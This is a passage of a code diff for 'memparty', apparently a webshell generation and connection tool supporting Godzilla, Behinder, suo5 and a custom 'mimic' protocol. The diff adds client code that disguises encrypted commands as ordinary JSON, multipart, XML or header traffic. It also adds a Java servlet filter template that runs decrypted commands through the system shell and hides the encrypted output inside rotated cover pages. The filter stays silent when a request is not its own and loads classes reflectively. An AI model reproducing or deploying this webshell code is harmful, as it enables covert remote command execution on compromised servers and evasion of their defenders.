+ throw new Error(`request[${ri}].bodyTemplate must carry the ${PAYLOAD_PLACEHOLDER} placeholder`);
1927
+ }
1928
+ if (req.secretIn !== void 0 && req.secretIn !== "body") {
1929
+ throw new Error(`request[${ri}].bodyTemplate only applies to secretIn=body`);
1930
+ }
1931
+ }
1932
+ if (req.headers !== void 0) {
1933
+ for (const [k, v] of Object.entries(req.headers)) {
1934
+ if (typeof v !== "string" || !k) {
1935
+ throw new Error(`request[${ri}].headers must be a string map`);
1936
+ }
1937
+ }
1938
+ }
1579
1939
  for (const [i, f] of (req.fields ?? []).entries()) {
1580
1940
  if (!f.name || !/^[A-Za-z0-9_.-]+$/.test(f.name)) {
1581
1941
  throw new Error(`request[${ri}].fields[${i}].name must be a form-field name`);
@@ -1605,7 +1965,7 @@ function saveProfile(profile) {
1605
1965
  validateProfile(profile);
1606
1966
  const dir = profilesDir();
1607
1967
  mkdirSync(dir, { recursive: true });
1608
- writeFileSync(profilePath(profile.name), `${JSON.stringify(profile, null, 2)}
1968
+ writeFileSync2(profilePath(profile.name), `${JSON.stringify(profile, null, 2)}
1609
1969
  `, "utf8");
1610
1970
  }
1611
1971
  function loadProfile(name) {
@@ -1615,7 +1975,7 @@ function loadProfile(name) {
1615
1975
  `unknown profile ${JSON.stringify(name)} \u2014 scaffold one with 'memparty profile init ${name} --site <origin>' and fill in the template/paths by hand (stored: ${listProfiles().join(", ") || "(none)"})`
1616
1976
  );
1617
1977
  }
1618
- const profile = JSON.parse(readFileSync2(path, "utf8"));
1978
+ const profile = JSON.parse(readFileSync3(path, "utf8"));
1619
1979
  validateProfile(profile);
1620
1980
  return profile;
1621
1981
  }
@@ -1747,7 +2107,6 @@ function renderFieldValue(value) {
1747
2107
  (_m, a, b) => String(randomInt(Number(a), Number(b) + 1))
1748
2108
  );
1749
2109
  }
1750
- var RIGHT_MARKER = '";';
1751
2110
  function encryptField2(plaintext, aesKey, cipher = LEGACY_CIPHER) {
1752
2111
  return encryptField(plaintext, aesKey, cipher);
1753
2112
  }
@@ -1760,6 +2119,50 @@ function buildFormBody(fields) {
1760
2119
  "utf8"
1761
2120
  );
1762
2121
  }
2122
+ function buildJsonBody(fields) {
2123
+ const obj = {};
2124
+ for (const f of fields) obj[f.name] = f.value;
2125
+ return Buffer.from(JSON.stringify(obj), "utf8");
2126
+ }
2127
+ function renderBodyTemplate(template, payload) {
2128
+ return Buffer.from(renderFieldValue(template.replaceAll("{{payload}}", payload)), "utf8");
2129
+ }
2130
+ function escapeRegExp(s) {
2131
+ return s.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
2132
+ }
2133
+ function decodeJsonBody(body, pass, aesKey, cipher = LEGACY_CIPHER) {
2134
+ const text = body.toString("utf8");
2135
+ const m = new RegExp(`"${escapeRegExp(pass)}"\\s*:\\s*"([^"]*)"`).exec(text);
2136
+ if (!m) return null;
2137
+ try {
2138
+ return decryptField2(m[1], aesKey, cipher);
2139
+ } catch {
2140
+ return null;
2141
+ }
2142
+ }
2143
+ function decodeMultipartBody(body, pass, aesKey, cipher = LEGACY_CIPHER) {
2144
+ const text = body.toString("utf8");
2145
+ const m = new RegExp(`name="${escapeRegExp(pass)}"[^\\n]*\\r?\\n(\\r?\\n|[^\\n]*\\r?\\n)*\\r?\\n([^\\r\\n]*)`).exec(text);
2146
+ if (!m) return null;
2147
+ try {
2148
+ return decryptField2(m[2], aesKey, cipher);
2149
+ } catch {
2150
+ return null;
2151
+ }
2152
+ }
2153
+ function decodeXmlBody(body, pass, aesKey, cipher = LEGACY_CIPHER) {
2154
+ const text = body.toString("utf8");
2155
+ const m = new RegExp(`<${escapeRegExp(pass)}>([^<]*)</${escapeRegExp(pass)}>`).exec(text);
2156
+ if (!m) return null;
2157
+ try {
2158
+ return decryptField2(m[1], aesKey, cipher);
2159
+ } catch {
2160
+ return null;
2161
+ }
2162
+ }
2163
+ function decodeAnyBody(body, pass, aesKey, cipher = LEGACY_CIPHER) {
2164
+ return decodeJsonBody(body, pass, aesKey, cipher) ?? decodeMultipartBody(body, pass, aesKey, cipher) ?? decodeXmlBody(body, pass, aesKey, cipher);
2165
+ }
1763
2166
  function decodeRequestBody(body, pass, aesKey, cipher = LEGACY_CIPHER) {
1764
2167
  const text = body.toString("utf8");
1765
2168
  for (const pair of text.split("&")) {
@@ -1780,13 +2183,32 @@ function injectFragment(templateHtml, fragment) {
1780
2183
  if (idx === -1) return templateHtml + fragment;
1781
2184
  return templateHtml.slice(0, idx) + fragment + templateHtml.slice(idx);
1782
2185
  }
1783
- function extractFromHtml(html, leftMarker, rightMarker = RIGHT_MARKER) {
1784
- const start = html.indexOf(leftMarker);
2186
+ function extractBetween(text, left, right) {
2187
+ const start = text.indexOf(left);
1785
2188
  if (start === -1) return null;
1786
- const valueStart = start + leftMarker.length;
1787
- const end = html.indexOf(rightMarker, valueStart);
2189
+ const valueStart = start + left.length;
2190
+ if (right === "") return text.slice(valueStart);
2191
+ const end = text.indexOf(right, valueStart);
1788
2192
  if (end === -1) return null;
1789
- return html.slice(valueStart, end);
2193
+ return text.slice(valueStart, end);
2194
+ }
2195
+ function templateDelimiters(templates, markers) {
2196
+ const out = [];
2197
+ let markerUsed = false;
2198
+ for (const t of templates) {
2199
+ const idx = t.template.indexOf("{{payload}}");
2200
+ if (idx !== -1) {
2201
+ out.push({
2202
+ left: t.template.slice(0, idx),
2203
+ right: t.template.slice(idx + "{{payload}}".length)
2204
+ });
2205
+ } else if (!markerUsed) {
2206
+ out.push({ left: markers.left, right: markers.right });
2207
+ markerUsed = true;
2208
+ }
2209
+ }
2210
+ if (out.length === 0) out.push({ left: markers.left, right: markers.right });
2211
+ return out;
1790
2212
  }
1791
2213
 
1792
2214
  // src/connect/mimic.ts
@@ -1828,6 +2250,7 @@ async function roundTrip(req, ctx, plaintext) {
1828
2250
  const shape = pickRequestShape(ctx.profile ? profileRequests(ctx.profile) : []);
1829
2251
  const secretField = shape?.secretField ?? ctx.pass;
1830
2252
  const secretIn = shape?.secretIn ?? "body";
2253
+ const bodyStyle = shape?.bodyStyle ?? "form";
1831
2254
  const cipher = encryptField2(Buffer.from(plaintext, "utf8"), ctx.aesKey, ctx.cipher);
1832
2255
  const decoys = (shape?.fields ?? []).map((f) => ({
1833
2256
  name: f.name,
@@ -1841,11 +2264,29 @@ async function roundTrip(req, ctx, plaintext) {
1841
2264
  body = Buffer.alloc(0);
1842
2265
  } else if (secretIn === "header") {
1843
2266
  extraHeaders[secretField] = cipher;
1844
- body = buildFormBody(decoys);
2267
+ body = bodyStyle === "json" ? buildJsonBody(decoys) : buildFormBody(decoys);
2268
+ } else if (shape?.bodyTemplate) {
2269
+ body = renderBodyTemplate(shape.bodyTemplate, cipher);
1845
2270
  } else {
1846
- body = buildFormBody([...decoys, { name: secretField, value: cipher }]);
1847
- }
1848
- const headers = buildHeaders({ ...BROWSER_HEADERS, ...extraHeaders }, req.common);
2271
+ body = bodyStyle === "json" ? buildJsonBody([...decoys, { name: secretField, value: cipher }]) : buildFormBody([...decoys, { name: secretField, value: cipher }]);
2272
+ }
2273
+ const baseHeaders = { ...BROWSER_HEADERS };
2274
+ if (secretIn === "query") delete baseHeaders["Content-Type"];
2275
+ else if (shape?.bodyTemplate) {
2276
+ const t = shape.bodyTemplate.trimStart();
2277
+ if (t.startsWith("--")) {
2278
+ const boundary = t.split(/\r?\n/, 1)[0].slice(2);
2279
+ baseHeaders["Content-Type"] = `multipart/form-data; boundary=${boundary}`;
2280
+ } else {
2281
+ const inferred = inferBodyTemplateContentType(shape.bodyTemplate);
2282
+ if (inferred) baseHeaders["Content-Type"] = inferred;
2283
+ else delete baseHeaders["Content-Type"];
2284
+ }
2285
+ } else if (bodyStyle === "json") baseHeaders["Content-Type"] = "application/json";
2286
+ const headers = buildHeaders(
2287
+ { ...baseHeaders, ...extraHeaders, ...shape?.headers ?? {} },
2288
+ req.common
2289
+ );
1849
2290
  let res;
1850
2291
  try {
1851
2292
  res = await postRaw(requestUrl, body, {
@@ -1871,7 +2312,16 @@ async function roundTrip(req, ctx, plaintext) {
1871
2312
  durationMs: res.durationMs
1872
2313
  };
1873
2314
  }
1874
- const b64 = extractFromHtml(res.body.toString("utf8"), ctx.markers.left, ctx.markers.right);
2315
+ const text = res.body.toString("utf8");
2316
+ const delimiters = templateDelimiters(
2317
+ ctx.profile ? profileTemplates(ctx.profile) : [],
2318
+ ctx.markers
2319
+ );
2320
+ let b64 = null;
2321
+ for (const d of delimiters) {
2322
+ b64 = extractBetween(text, d.left, d.right);
2323
+ if (b64 !== null) break;
2324
+ }
1875
2325
  if (b64 === null) {
1876
2326
  return {
1877
2327
  ok: false,
@@ -2021,7 +2471,7 @@ registerProtocol(suo5Protocol);
2021
2471
  registerProtocol(mimicProtocol);
2022
2472
 
2023
2473
  // src/core/oplog.ts
2024
- import { appendFileSync, existsSync as existsSync2, mkdirSync as mkdirSync2, readFileSync as readFileSync3 } from "fs";
2474
+ import { appendFileSync, existsSync as existsSync2, mkdirSync as mkdirSync2, readFileSync as readFileSync4 } from "fs";
2025
2475
  import { homedir as homedir3 } from "os";
2026
2476
  import { dirname, join as join3 } from "path";
2027
2477
  var OUTPUT_LIMIT = 2e3;
@@ -2042,7 +2492,7 @@ function readOps(filter = {}) {
2042
2492
  try {
2043
2493
  const file = opLogPath();
2044
2494
  if (existsSync2(file)) {
2045
- for (const line of readFileSync3(file, "utf8").split("\n")) {
2495
+ for (const line of readFileSync4(file, "utf8").split("\n")) {
2046
2496
  const trimmed = line.trim();
2047
2497
  if (!trimmed) continue;
2048
2498
  try {
@@ -2087,7 +2537,7 @@ function formatOp(e) {
2087
2537
  }
2088
2538
 
2089
2539
  // src/core/targets.ts
2090
- import { existsSync as existsSync3, mkdirSync as mkdirSync3, readFileSync as readFileSync4, writeFileSync as writeFileSync2 } from "fs";
2540
+ import { existsSync as existsSync3, mkdirSync as mkdirSync3, readFileSync as readFileSync5, writeFileSync as writeFileSync3 } from "fs";
2091
2541
  import { homedir as homedir4 } from "os";
2092
2542
  import { dirname as dirname2, join as join4 } from "path";
2093
2543
  var NAME_RE2 = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;
@@ -2105,7 +2555,7 @@ function listProjects() {
2105
2555
  try {
2106
2556
  const file = targetStorePath();
2107
2557
  if (!existsSync3(file)) return {};
2108
- const data = JSON.parse(readFileSync4(file, "utf8"));
2558
+ const data = JSON.parse(readFileSync5(file, "utf8"));
2109
2559
  if (data !== null && typeof data === "object" && !Array.isArray(data)) {
2110
2560
  return data;
2111
2561
  }
@@ -2119,7 +2569,7 @@ function getProject(name) {
2119
2569
  function writeProjects(projects) {
2120
2570
  const file = targetStorePath();
2121
2571
  mkdirSync3(dirname2(file), { recursive: true });
2122
- writeFileSync2(file, `${JSON.stringify(projects, null, 2)}
2572
+ writeFileSync3(file, `${JSON.stringify(projects, null, 2)}
2123
2573
  `, { mode: 384 });
2124
2574
  }
2125
2575
  function saveProjectMeta(name, meta) {
@@ -2227,7 +2677,8 @@ function autoSaveShell(conn) {
2227
2677
  headerValue: conn.headerValue,
2228
2678
  extraHeaders: Object.keys(conn.extraHeaders).length > 0 ? conn.extraHeaders : void 0,
2229
2679
  insecure: conn.insecure,
2230
- profile: conn.profile
2680
+ profile: conn.profile,
2681
+ upgradeProtocol: conn.upgradeProtocol
2231
2682
  });
2232
2683
  return `${projectName}/${shellName}`;
2233
2684
  }
@@ -2281,6 +2732,7 @@ function resolveConnection(ref, flags) {
2281
2732
  extraHeaders: { ...stored?.extraHeaders, ...flags.extraHeaders },
2282
2733
  insecure: flags.insecure ?? stored?.insecure,
2283
2734
  profile: flags.profile ?? stored?.profile,
2735
+ upgradeProtocol: flags.upgradeProtocol ?? stored?.upgradeProtocol,
2284
2736
  targetName
2285
2737
  };
2286
2738
  }
@@ -2300,15 +2752,15 @@ function parseExtraHeaders(lines) {
2300
2752
  function registerConnectCommand(program) {
2301
2753
  program.command("connect").description(
2302
2754
  "Test whether a deployed webshell is alive and the credentials work"
2303
- ).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(new Option("-t, --tool <tool>", "shell protocol").choices(protocolNames())).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla/mimic key (default: key)").option(
2755
+ ).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(new Option2("-t, --tool <tool>", "shell protocol").choices(protocolNames())).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla/mimic key (default: key)").option(
2304
2756
  "--header-name <name>",
2305
2757
  "gate header name reported by gen (shellToolConfig.headerName)"
2306
2758
  ).option(
2307
2759
  "--header-value <value>",
2308
2760
  "gate header value reported by gen (shellToolConfig.headerValue)"
2309
2761
  ).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').addOption(
2310
- new Option("--suo5-mode <mode>", "suo5 protocol variant").choices(["auto", "v2", "v1"]).default("auto")
2311
- ).option("--profile <name>", "mimic: site profile name (see 'memparty profile')").option("--dynamic-path", "mimic: randomize the request path from the site profile").option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful test").addHelpText(
2762
+ new Option2("--suo5-mode <mode>", "suo5 protocol variant").choices(["auto", "v2", "v1"]).default("auto")
2763
+ ).option("--profile <name>", "mimic: site profile name (see 'memparty profile')").option("--dynamic-path", "mimic: randomize the request path from the site profile").option("--upgrade-protocol <className>", "godzilla Upgrade shell: fully-qualified generated shell class name").option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful test").addHelpText(
2312
2764
  "after",
2313
2765
  `
2314
2766
  Examples:
@@ -2343,7 +2795,8 @@ A successful test auto-saves the profile as <host>/<tool> (skip with
2343
2795
  headerValue: opts.headerValue,
2344
2796
  extraHeaders: parseExtraHeaders(opts.header),
2345
2797
  insecure: opts.insecure,
2346
- profile: opts.profile
2798
+ profile: opts.profile,
2799
+ upgradeProtocol: opts.upgradeProtocol
2347
2800
  });
2348
2801
  } catch (err) {
2349
2802
  reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
@@ -2355,7 +2808,8 @@ A successful test auto-saves the profile as <host>/<tool> (skip with
2355
2808
  headerValue: conn.headerValue,
2356
2809
  extraHeaders: conn.extraHeaders,
2357
2810
  timeoutMs,
2358
- insecure: conn.insecure
2811
+ insecure: conn.insecure,
2812
+ upgradeProtocol: conn.upgradeProtocol
2359
2813
  };
2360
2814
  let result;
2361
2815
  try {
@@ -2407,10 +2861,10 @@ A successful test auto-saves the profile as <host>/<tool> (skip with
2407
2861
  }
2408
2862
 
2409
2863
  // src/commands/custom.ts
2410
- import { Command as Command2 } from "commander";
2864
+ import { Command as Command3 } from "commander";
2411
2865
 
2412
2866
  // src/custom/build.ts
2413
- import { mkdirSync as mkdirSync4, readFileSync as readFileSync5, writeFileSync as writeFileSync3 } from "fs";
2867
+ import { mkdirSync as mkdirSync4, readFileSync as readFileSync6, writeFileSync as writeFileSync4 } from "fs";
2414
2868
  import { join as join5 } from "path";
2415
2869
 
2416
2870
  // src/core/jdk.ts
@@ -2420,7 +2874,8 @@ var JDK_VERSIONS = {
2420
2874
  java9: 53,
2421
2875
  java11: 55,
2422
2876
  java17: 61,
2423
- java21: 65
2877
+ java21: 65,
2878
+ java25: 69
2424
2879
  };
2425
2880
  function resolveJreVersion(input3) {
2426
2881
  if (input3 === void 0 || input3 === "") return void 0;
@@ -2437,9 +2892,98 @@ function resolveJreVersion(input3) {
2437
2892
  }
2438
2893
 
2439
2894
  // src/custom/java-template.ts
2895
+ function renderWrapperJava() {
2896
+ return `package mimic;
2897
+
2898
+ import java.io.*;
2899
+ import javax.servlet.*;
2900
+ import javax.servlet.http.*;
2901
+
2902
+ /** Re-exposes a consumed request body to downstream filters/servlets. */
2903
+ public class CachedBody extends HttpServletRequestWrapper {
2904
+ private final byte[] body;
2905
+
2906
+ public CachedBody(HttpServletRequest req, byte[] body) {
2907
+ super(req);
2908
+ this.body = body;
2909
+ }
2910
+
2911
+ public ServletInputStream getInputStream() {
2912
+ return new Stream(body);
2913
+ }
2914
+
2915
+ public BufferedReader getReader() {
2916
+ return new BufferedReader(new InputStreamReader(getInputStream()));
2917
+ }
2918
+
2919
+ static class Stream extends ServletInputStream {
2920
+ private final ByteArrayInputStream in;
2921
+
2922
+ Stream(byte[] body) {
2923
+ this.in = new ByteArrayInputStream(body);
2924
+ }
2925
+
2926
+ public int read() {
2927
+ return in.read();
2928
+ }
2929
+
2930
+ public boolean isFinished() {
2931
+ return in.available() == 0;
2932
+ }
2933
+
2934
+ public boolean isReady() {
2935
+ return true;
2936
+ }
2937
+
2938
+ public void setReadListener(ReadListener l) {}
2939
+ }
2940
+ }
2941
+ `;
2942
+ }
2440
2943
  function javaStringLiteral(s) {
2441
2944
  return s.replaceAll("\\", "\\\\").replaceAll('"', '\\"').replaceAll("\r", "").replaceAll("\n", "\\n").replaceAll(/[^\x00-\x7f]/g, (ch) => `\\u${ch.codePointAt(0).toString(16).padStart(4, "0")}`);
2442
2945
  }
2946
+ function wrapperLoaderMethods(opts) {
2947
+ return `
2948
+ /** wrapper class bytes (mimic.CachedBody + its stream) \u2014 embedded so the
2949
+ uploaded shell stays a single self-contained class file */
2950
+ static final String WRAPPER_B64 = "${opts.wrapper.bodyB64}";
2951
+ static final String WRAPPER_STREAM_B64 = "${opts.wrapper.streamB64}";
2952
+
2953
+ static Class<?> forNameQuiet(String name, ClassLoader cl) {
2954
+ try {
2955
+ return Class.forName(name, true, cl);
2956
+ } catch (Throwable t) {
2957
+ return null;
2958
+ }
2959
+ }
2960
+
2961
+ static Class<?> defineQuiet(ClassLoader cl, String name, String b64) {
2962
+ try {
2963
+ java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod("defineClass",
2964
+ String.class, byte[].class, int.class, int.class);
2965
+ m.setAccessible(true);
2966
+ byte[] bytes = java.util.Base64.getDecoder().decode(b64);
2967
+ return (Class<?>) m.invoke(cl, name, bytes, 0, bytes.length);
2968
+ } catch (Throwable t) {
2969
+ return null; // another shell in this JVM already defined it
2970
+ }
2971
+ }
2972
+
2973
+ /** Wrap the request so downstream code can re-read the JSON body we consumed. */
2974
+ static HttpServletRequest wrapBody(HttpServletRequest req, byte[] body) throws Exception {
2975
+ ClassLoader cl = ${opts.className}.class.getClassLoader();
2976
+ Class<?> c = forNameQuiet("mimic.CachedBody", cl);
2977
+ if (c == null) {
2978
+ defineQuiet(cl, "mimic.CachedBody$Stream", WRAPPER_STREAM_B64);
2979
+ c = defineQuiet(cl, "mimic.CachedBody", WRAPPER_B64);
2980
+ if (c == null) c = forNameQuiet("mimic.CachedBody", cl);
2981
+ }
2982
+ return (HttpServletRequest) c.getConstructor(HttpServletRequest.class, byte[].class)
2983
+ .newInstance(req, body);
2984
+ }
2985
+ `;
2986
+ }
2443
2987
  var MD5_METHOD = String.raw`
2444
2988
  static String md5Hex(String s) throws Exception {
2445
2989
  MessageDigest m = MessageDigest.getInstance("MD5");
@@ -2575,9 +3119,11 @@ function sharedMethods(cipher) {
2575
3119
  return MD5_METHOD + cryptMethod(cipher.algorithm) + encDecMethods(cipher.encoding) + (cipher.padTail ? PAD_METHODS : "") + fieldTransforms(cipher);
2576
3120
  }
2577
3121
  function renderFilterJava(opts) {
2578
- const { className, pass, secret, fields, templates, cipher } = opts;
3122
+ const { className, pass, secret, fields, bodyContentTypes, templates, cipher } = opts;
2579
3123
  const fieldsJava = fields.map((f) => `"${javaStringLiteral(f)}"`).join(", ");
2580
- const tplsJava = templates.map((t) => ` "${javaStringLiteral(t)}"`).join(",\n");
3124
+ const bodyCtsJava = bodyContentTypes.map((n) => `"${javaStringLiteral(n)}"`).join(", ");
3125
+ const tplsJava = templates.map((t) => ` "${javaStringLiteral(t.template)}"`).join(",\n");
3126
+ const ctsJava = templates.map((t) => `"${javaStringLiteral(t.contentType)}"`).join(", ");
2581
3127
  return `package mimic;
2582
3128
 
2583
3129
  import java.io.*;
@@ -2592,37 +3138,120 @@ import javax.servlet.http.*;
2592
3138
  * mimic protocol server (matches src/connect/mimic-codecs.ts):
2593
3139
  * cipher=${cipher.algorithm} encoding=${cipher.encoding} padTail=${cipher.padTail} marker=${cipher.marker}
2594
3140
  *
2595
- * Detection uses getParameter()/getHeader() only, never reads the body
2596
- * stream: form posts are parsed+cached by the container so downstream
2597
- * getParameter() callers still work, and raw-body posts (Behinder) keep an
2598
- * untouched body stream for the shell behind us. Anything that is not ours
2599
- * falls through chain.doFilter; any error answers with the cover page.
3141
+ * Detection uses getParameter()/getHeader() first, never touching the body
3142
+ * stream. For JSON bodies it reads the stream ONCE and re-exposes it via a
3143
+ * caching wrapper, so the app's own endpoints (and other shells behind us)
3144
+ * still see the body. Anything that is not ours falls through chain.doFilter;
3145
+ * any error answers with the plain cover template.
2600
3146
  */
2601
3147
  public class ${className} implements Filter {
2602
3148
  /** carriers that may hold the ciphertext (form fields / headers, from the profile) */
2603
3149
  static final String[] FIELDS = { ${fieldsJava} };
3150
+ /** body Content-Type needles the shell owns \u2014 anything else passes with its body untouched */
3151
+ static final String[] BODY_CTS = { ${bodyCtsJava} };
2604
3152
  /** credentials \u2014 must match the client's --pass/--key (key + marker derivation) */
2605
3153
  static final String PASS = "${javaStringLiteral(pass)}";
2606
3154
  static final String SECRET = "${javaStringLiteral(secret)}";
2607
- /** Cover pages from the site profile \u2014 rotated per response so the skin varies. */
3155
+ /** Cover bodies from the site profile \u2014 rotated per response so the skin varies. */
2608
3156
  static final String[] TPLS = {
2609
3157
  ${tplsJava}
2610
3158
  };
3159
+ /** Content-Type of each cover body (parallel to TPLS). */
3160
+ static final String[] CTS = { ${ctsJava} };
2611
3161
 
2612
3162
  public void init(FilterConfig filterConfig) {}
2613
3163
  public void destroy() {}
2614
3164
  ${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
3165
+ static byte[] readAll(InputStream in) throws IOException {
3166
+ ByteArrayOutputStream bos = new ByteArrayOutputStream();
3167
+ byte[] buf = new byte[8192];
3168
+ int n;
3169
+ while ((n = in.read(buf)) != -1) bos.write(buf, 0, n);
3170
+ return bos.toByteArray();
3171
+ }
3172
+
3173
+ /** read the body only when its Content-Type is one the profile actually uses */
3174
+ static boolean ctMatches(String ct) {
3175
+ String l = ct.toLowerCase();
3176
+ for (String n : BODY_CTS) if (l.contains(n)) return true;
3177
+ return false;
3178
+ }
3179
+
3180
+ /** minimal "field":"value" extraction \u2014 cipher values carry no quotes/escapes */
3181
+ static String jsonField(String body, String field) {
3182
+ String needle = "\\"" + field + "\\"";
3183
+ int i = body.indexOf(needle);
3184
+ if (i < 0) return null;
3185
+ int colon = body.indexOf(':', i + needle.length());
3186
+ if (colon < 0) return null;
3187
+ int q1 = body.indexOf('"', colon + 1);
3188
+ if (q1 < 0) return null;
3189
+ int q2 = body.indexOf('"', q1 + 1);
3190
+ if (q2 < 0) return null;
3191
+ return body.substring(q1 + 1, q2);
3192
+ }
3193
+
3194
+ /** minimal multipart extraction: the value follows the part headers of name="field" */
3195
+ static String multipartField(String body, String field) {
3196
+ String needle = "name=\\"" + field + "\\"";
3197
+ int i = body.indexOf(needle);
3198
+ if (i < 0) return null;
3199
+ int sep = body.indexOf("\\r\\n\\r\\n", i + needle.length());
3200
+ int sepLen = 4;
3201
+ if (sep < 0) { sep = body.indexOf("\\n\\n", i + needle.length()); sepLen = 2; }
3202
+ if (sep < 0) return null;
3203
+ int start = sep + sepLen;
3204
+ int end = body.indexOf('\\n', start);
3205
+ if (end < 0) end = body.length();
3206
+ String v = body.substring(start, end).trim();
3207
+ return v.isEmpty() ? null : v;
3208
+ }
3209
+
3210
+ /** minimal XML extraction: <field>value</field> */
3211
+ static String xmlField(String body, String field) {
3212
+ String open = "<" + field + ">";
3213
+ int i = body.indexOf(open);
3214
+ if (i < 0) return null;
3215
+ int start = i + open.length();
3216
+ int end = body.indexOf("</" + field + ">", start);
3217
+ if (end < 0) return null;
3218
+ return body.substring(start, end);
3219
+ }
3220
+ ${wrapperLoaderMethods(opts)}
2615
3221
  public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
2616
3222
  throws IOException, ServletException {
3223
+ HttpServletRequest httpReq = request instanceof HttpServletRequest
3224
+ ? (HttpServletRequest) request : null;
2617
3225
  String value = null;
2618
3226
  for (String f : FIELDS) {
2619
3227
  value = request.getParameter(f);
2620
- if (value == null && request instanceof HttpServletRequest) {
3228
+ if (value == null && httpReq != null) {
2621
3229
  // secretIn=header: the ciphertext may ride a header instead of a form field
2622
- value = ((HttpServletRequest) request).getHeader(f);
3230
+ value = httpReq.getHeader(f);
2623
3231
  }
2624
3232
  if (value != null) break;
2625
3233
  }
3234
+ if (value == null && httpReq != null) {
3235
+ // the ciphertext may ride a raw body of any bodyTemplate shape
3236
+ // (JSON / multipart / XML\u2026). Read it once and re-expose it
3237
+ // downstream via the caching wrapper.
3238
+ String ct = httpReq.getContentType();
3239
+ if (ct != null && ctMatches(ct)) {
3240
+ try {
3241
+ byte[] bodyBytes = readAll(httpReq.getInputStream());
3242
+ String bodyText = new String(bodyBytes, "UTF-8");
3243
+ for (String f : FIELDS) {
3244
+ value = jsonField(bodyText, f);
3245
+ if (value == null) value = multipartField(bodyText, f);
3246
+ if (value == null) value = xmlField(bodyText, f);
3247
+ if (value != null) break;
3248
+ }
3249
+ request = wrapBody(httpReq, bodyBytes);
3250
+ } catch (Throwable wrapperFailed) {
3251
+ // the body is already consumed \u2014 pass through as-is
3252
+ }
3253
+ }
3254
+ }
2626
3255
  if (value == null) {
2627
3256
  chain.doFilter(request, response);
2628
3257
  return;
@@ -2634,11 +3263,13 @@ ${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
2634
3263
  cmd = decryptField(value, aesKey);
2635
3264
  } catch (Exception notOurs) {
2636
3265
  // the field exists but doesn't decrypt \u2014 this is someone else's
2637
- // legitimate form (e.g. the real login POST), stay invisible
3266
+ // legitimate request (e.g. the real login POST), stay invisible
2638
3267
  chain.doFilter(request, response);
2639
3268
  return;
2640
3269
  }
2641
- String tpl = TPLS[new java.util.Random().nextInt(TPLS.length)];
3270
+ int ti = new java.util.Random().nextInt(TPLS.length);
3271
+ String tpl = TPLS[ti];
3272
+ String tplCt = CTS[ti];
2642
3273
  try {
2643
3274
  String command = new String(cmd, "UTF-8");
2644
3275
  boolean win = System.getProperty("os.name").toLowerCase().contains("win");
@@ -2647,22 +3278,37 @@ ${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
2647
3278
  : new ProcessBuilder("/bin/sh", "-c", command);
2648
3279
  pb.redirectErrorStream(true);
2649
3280
  Process proc = pb.start();
2650
- ByteArrayOutputStream bos = new ByteArrayOutputStream();
2651
- InputStream in = proc.getInputStream();
2652
- byte[] buf = new byte[8192];
2653
- int n;
2654
- while ((n = in.read(buf)) != -1) bos.write(buf, 0, n);
2655
3281
  proc.waitFor();
2656
- String payload = encryptField(bos.toByteArray(), aesKey);
2657
- String fragment = wrapPayload(payload, PASS + SECRET);
2658
- int idx = tpl.toLowerCase().lastIndexOf("</body>");
2659
- String page = idx >= 0 ? tpl.substring(0, idx) + fragment + tpl.substring(idx) : tpl + fragment;
2660
- response.setContentType("text/html;charset=UTF-8");
3282
+ String payload = encryptField(readAll(proc.getInputStream()), aesKey);
3283
+ String page;
3284
+ if (tpl.contains("{{payload}}")) {
3285
+ // placeholder template (any text format): substitute exactly there
3286
+ page = tpl.replace("{{payload}}", payload);
3287
+ } else {
3288
+ String fragment = wrapPayload(payload, PASS + SECRET);
3289
+ int idx = tpl.toLowerCase().lastIndexOf("</body>");
3290
+ page = idx >= 0 ? tpl.substring(0, idx) + fragment + tpl.substring(idx) : tpl + fragment;
3291
+ }
3292
+ response.setContentType(tplCt);
2661
3293
  response.setCharacterEncoding("UTF-8");
2662
- response.getWriter().write(page);
3294
+ if (tplCt.contains("event-stream")) {
3295
+ // flush chunk by chunk \u2014 a real SSE endpoint streams, a
3296
+ // one-shot body is the wrong shape on the wire
3297
+ java.io.PrintWriter w = response.getWriter();
3298
+ for (String chunk : page.split("\\n\\n", -1)) {
3299
+ if (chunk.isEmpty()) continue;
3300
+ w.write(chunk);
3301
+ w.write("\\n\\n");
3302
+ w.flush();
3303
+ response.flushBuffer();
3304
+ try { Thread.sleep(30); } catch (InterruptedException ie) { break; }
3305
+ }
3306
+ } else {
3307
+ response.getWriter().write(page);
3308
+ }
2663
3309
  } catch (Exception e) {
2664
- // behave like the cover page on any error \u2014 stay quiet
2665
- response.setContentType("text/html;charset=UTF-8");
3310
+ // behave like the cover body on any error \u2014 stay quiet
3311
+ response.setContentType(tplCt);
2666
3312
  response.getWriter().write(tpl);
2667
3313
  }
2668
3314
  }
@@ -2715,6 +3361,29 @@ function profileSecretFields(profile) {
2715
3361
  const fields = [...new Set(shapes.map((r) => r.secretField).filter(Boolean))];
2716
3362
  return fields.length > 0 ? fields : ["pass"];
2717
3363
  }
3364
+ function ctNeedle(ct) {
3365
+ const media = ct.toLowerCase().split(";", 1)[0].trim();
3366
+ if (media.includes("json")) return "json";
3367
+ if (media.includes("multipart")) return "multipart";
3368
+ if (media.includes("xml")) return "xml";
3369
+ return media;
3370
+ }
3371
+ function profileBodyContentTypes(profile) {
3372
+ const needles = /* @__PURE__ */ new Set();
3373
+ for (const r of profileRequests(profile)) {
3374
+ if (r.secretIn !== void 0 && r.secretIn !== "body") continue;
3375
+ if (r.bodyTemplate !== void 0) {
3376
